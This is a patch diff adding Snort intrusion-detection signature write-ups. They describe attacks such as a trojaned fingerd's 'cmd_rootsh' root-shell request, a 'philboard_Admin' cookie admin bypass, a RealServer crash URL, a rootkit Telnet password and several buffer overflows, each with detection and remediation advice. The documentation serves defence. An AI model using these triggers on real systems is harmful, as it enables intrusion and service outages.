+The rule generates an event when access to a "fingerd" backdoor is attempted, this was often found on compromised UNIX machines in the late 1990s. The Trojan finger daemon runs as "root" and is started by inetd with parameters from inetd.conf file unlike the regular finger daemon which runs as "nobody" and replaces the regular "fingerd" binary. It allows its owner to execute several commands remotely by sending a finger request to a specific user. Particularly, the finger request for the user "cmd_rootsh" spawns a root shell bound to the finger port and allows remote command execution.
+
+--
+
+Attack Scenarios: 
+An attacker gains access to a UNIX machine via a remote exploit, then downloads and deploys the "fingerd" trojan. Next, the attacker only needs to send a finger request to gain root access with no password.
+
+-- 
+
+Ease of Attack: 
+The victim host is most likely already compromised.
+
+-- 
+
+False Positives: 
+None known
+
+--
+False Negatives: 
+None known
+
+-- 
+
+Corrective Action: 
+
+Restore the system from a known good backup.
+
+Reinstall the operating system.
+
+--
+Contributors: 
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10070
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0660
+
+SANS:
+http://www.sans.org/y2k/TFN_toolkit.htm
+http://www.sans.org/y2k/fingerd.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1937.txt
+++ snort-2.8.5.2/doc/signatures/1937.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1937
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability using the LIST command on mail servers running 
+the qpopper daemon.
+
+--
+Impact: Remote Access. 
+This attack can allow an attacker to read other users mail as the Group 
+ID mail.
+
+--
+Detailed Information: 
+The attacker needs the username and password of a POP account on the 
+server.  After a successful POP login, the attacker can cause a buffer 
+overflow using the LIST command.  After successfully exploiting the 
+qpopper daemon the attacker has remote access of the server with the UID
+of the username used for the POP login and the GID of 'mail'.
+
+--
+Affected Systems: 
+	Qualcomm qpopper 3.0 and 3.0 beta 1 through beta 29.
+
+--
+Attack Scenarios: 
+An attacker can log in to a vulnerable mail server using a preexisting 
+POP account and enter an overly long argument with the LIST command, 
+causing a buffer overflow which may then result in remote access.
+
+--
+Ease of Attack: 
+Simple.  Exploits exist.
+
+--
+False Positives: 
+None known.
+
+--
+False Negatives: 
+None Known.
+
+--
+Corrective Action: 
+Upgrade to Qualcomm qpopper 3.0 beta 30 or higher.
+
+--
+Contributors: 
+Snort documentation contributed by Chris Davis <christopher.davis@guardent.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:  
+cve: CAN-2000-0096
+bugtraq: 948
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000116.txt
+++ snort-2.8.5.2/doc/signatures/100000116.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+100000116
+
+-- 
+Summary: 
+This event is generated when the PHP-Nuke program's Web_Links module is access 
+with a value for the CID parameter which is not numeric.
+
+-- 
+
+Impact: 
+Sensitive path information may be disclosed, allowing an attacker to conduct 
+reconnaissance against the affected host.
+
+--
+Detailed Information:
+Queries made to PHP-Nuke's Web_Links module which use non-numeric values for 
+the CID parameter will generate an error that discloses sensitive path 
+information about the affected host.
+
+--
+Affected Systems:
+PHP-Nuke 6.0
+PHP-Nuke 6.5
+PHP-Nuke 6.5 RC1
+PHP-Nuke 6.5 RC2
+PHP-Nuke 6.5 RC3
+PHP-Nuke 6.5 BETA 1
+PHP-Nuke 6.5 FINAL
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser.
+-- 
+
+Ease of Attack: 
+Simple, as example exploit URIs exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+An unsupported fix exists at the URI referenced in the Additional References 
+section. No vendor-supplied patch or workaround exists.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+http://www.securityfocus.com/archive/1/321313
+
+--
--- snort-2.8.5.2.orig/doc/signatures/276.txt
+++ snort-2.8.5.2/doc/signatures/276.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+276
+
+--
+Summary:
+This event is generated when a remote attacker transmits a malformed 
+request for a page on a RealNetworks RealServer port, which can indicate
+a Denial of Service (DoS) attack on the RealServer.
+
+--
+Impact:
+The RealNetworks RealServer service will crash.
+
+--
+Detailed Information:
+RealNetworks RealServer is a server application that serves streaming 
+audio to clients. When an attacker sends a request for a template file 
+in the /viewsource/ directory with an empty variable value, RealServer 
+crashes.   
+
+--
+Affected Systems:
+Systems running RealNetworks RealServer 7.0 with View Source 
+functionality enabled.
+
+--
+Attack Scenarios:
+An attacker sends an HTTP request for /viewsource/template.html? on a 
+RealServer audio server. RealServer crashes, stopping audio 
+transmission.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of the software or disable the View Source 
+functionality. The vendor has issued an advisory, workarounds, and 
+downloadable patches at http://service.real.com/help/faq/servgviewsrc.html.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+RealNetworks
+http://service.real.com/help/faq/servgviewsrc.html
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000326.txt
+++ snort-2.8.5.2/doc/signatures/100000326.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000326
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "ScozNet ScozNews" application running on a webserver. Access to the file "admin_edit.php" using a remote file being passed as the "main_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "main_path" parameter in the "admin_edit.php" script used by the "ScozNet ScozNews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ScozNet ScozNews
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1514.txt
+++ snort-2.8.5.2/doc/signatures/1514.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1514
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/257.txt
+++ snort-2.8.5.2/doc/signatures/257.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+257
+
+--
+Summary:
+This event is generated when an attempt is made to determine the version
+of BIND being used on a DNS server.
+
+--
+Impact:
+Information gathering. This activity may indicate reconnaisance before 
+an impending attack.
+
+--
+Detailed Information: 
+A remote machine attempted to determine the version of BIND running on a
+nameserver.
+
+--
+Affected Systems:
+	All DNS nameservers
+ 
+--
+Attack Scenarios:
+As part of reconnaissance leading upto a potential intrusion attempt, an
+attacker may attempt to determine the BIND version that is in use so
+that a vulnerable version can be used as an attack vector.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the ability for untrusted (remote) machines to determine the named
+version.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1471.txt
+++ snort-2.8.5.2/doc/signatures/1471.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1471
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/865.txt
+++ snort-2.8.5.2/doc/signatures/865.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+865
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2136.txt
+++ snort-2.8.5.2/doc/signatures/2136.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2136
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in the Philboard ASP application. 
+
+--
+Impact:
+Possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a weakness in the Philboard ASP application. By setting a cookie value to "True" administration rights are granted to that user. The user would then gain control of the application and have access to all administration functions.
+
+This rule generates an event if the attacker makes a request for the administration page with the cookie "philboard_Admin" value set to true from a source external to the protected network.
+
+
+--
+Affected Systems:
+Any host using Philboard.
+
+--
+Attack Scenarios:
+An attacker can gain administrator access to the application by making a simple web request.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+This event may be generated by an administrator accessing the administration page from an external source.
+
+The event will also be generated if Nessus is used to scan the host for this vulnerability.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Deny access to this page from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/298.txt
+++ snort-2.8.5.2/doc/signatures/298.txt
@@ -0,0 +1,60 @@
+SID:
+298
+--
+
+Rule:
+--
+
+Summary:
+This event is triggered when an attempt is made to overflow an imapd server.
+--
+
+Impact:
+Commands may be run on the IMAP server as the root user, This can lead to a complete compromise of the targeted system
+--
+
+Detailed Information:
+Failure to check the size of the value passed to the 'AUTHENTICATE' 
+command on certain IMAPD implementations can lead to a buffer overflow. 
+This in turn can allow arbitrary commands to be executed on the server.
+--
+
+Affected Systems:
+	Netscape Messaging Server 3.55, University of Washington imapd 10.234
+--
+
+Attack Scenarios:
+An attacker may attempt to exploit a vulnerable imapd server, permitting
+the execution of arbitrary commands possibly with the privilege of user 
+"root".
+--
+
+Ease of Attack:
+Simple. Sample exploit code is available.
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+Vendors have provided updated versions, upgrading will resolve this 
+problem
+
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3409.txt
+++ snort-2.8.5.2/doc/signatures/3409.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3409
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/220.txt
+++ snort-2.8.5.2/doc/signatures/220.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+220
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "wank". This is a known password for 
+the HideSource rootkit.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects UNIX operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2883.txt
+++ snort-2.8.5.2/doc/signatures/2883.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2883
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_unique_resolution
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/990.txt
+++ snort-2.8.5.2/doc/signatures/990.txt
@@ -0,0 +1,54 @@
+Can't find affected system versions
+Rule:
+
+--
+Sid:
+990
+
+--
+Summary:
+This event is generated when an attempt is made to access a file with '_vti_inf' in the name.
+
+--
+Impact:
+Information gathering.  This attack can leak the version number and scripting paths of Microsoft FrontPage.
+
+--
+Detailed Information:
+Microsoft FrontPage provides software for web designers to generate and administer web pages.  The file '_vti_inf.html' contains FrontPage configuration information of version number and scripting paths that is normally used by a FrontPage client to communicate with the server.  An attacker can craft a URL to access this file to disclose the version number and scripting paths.
+
+--
+Affected Systems:
+???
+
+--
+Attack Scenarios:
+An attacker can craft a URL to access the '_vti_inf' file to learn the version and scripting paths of FrontPage.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply patches and upgrade to most current version of FrontPage.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2543.txt
+++ snort-2.8.5.2/doc/signatures/2543.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2543
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+US-CERT:
+http://www.us-cert.gov/cas/techalerts/TA04-104A.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/909.txt
+++ snort-2.8.5.2/doc/signatures/909.txt
@@ -0,0 +1,62 @@
+SID:
+909
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/657.txt
+++ snort-2.8.5.2/doc/signatures/657.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+657
+
+--
+Summary:
+This event is generated when an external user sends a HELP command with specific syntax to an internal SMTP server, which may indicate an attempt to exploit a buffer overflow vulnerability in NetManage Chameleon SMTP server. 
+
+--
+Impact:
+Severe. Remote execution of arbitrary code, leading to remote root compromise. 
+
+--
+Detailed Information:
+NetManage Chameleon SMTP server contains a buffer overflow vulnerability in the HELP command. If the HELP command is used with an argument longer than 514 characters, a buffer overflow condition occurs, allowing the execution of arbitrary code.
+
+--
+Affected Systems:
+Systems running NetManage Chameleon Unix 97 or NetManage Chameleon 4.5.
+
+--
+Attack Scenarios:
+An attacker sends an overly long string to a vulnerable NetManage Chameleon SMTP server in the HELP command. This causes a buffer overflow condition, allowing the attacker to execute arbitrary code on the server and obtain root privileges on the mail server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+alse Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of NetManage Chameleon SMTP server.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-6.txt
+++ snort-2.8.5.2/doc/signatures/111-6.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+111-6
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+This may indicate scanning activity.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that may indicate
+an Xmas Tree scan is in progress. That is, packets with the FIN, URG and
+PUSH flags set have been detected.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may utilize scanning techniques to determine possible points
+of exploitation against a host.
+
+-- 
+Ease of Attack: 
+Simple. Many scanning tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2510.txt
+++ snort-2.8.5.2/doc/signatures/2510.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2510
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2359.txt
+++ snort-2.8.5.2/doc/signatures/2359.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2359
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application Invision Board.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+Invision Board contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable root_path when 
+making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root by supplying
+their code in the file conf_global.php.
+
+--
+Affected Systems:
+	Invision Power Services Invision Board 1.1.1
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the root_path variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-13.txt
+++ snort-2.8.5.2/doc/signatures/122-13.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-13
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ips
+filtered protocol scan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
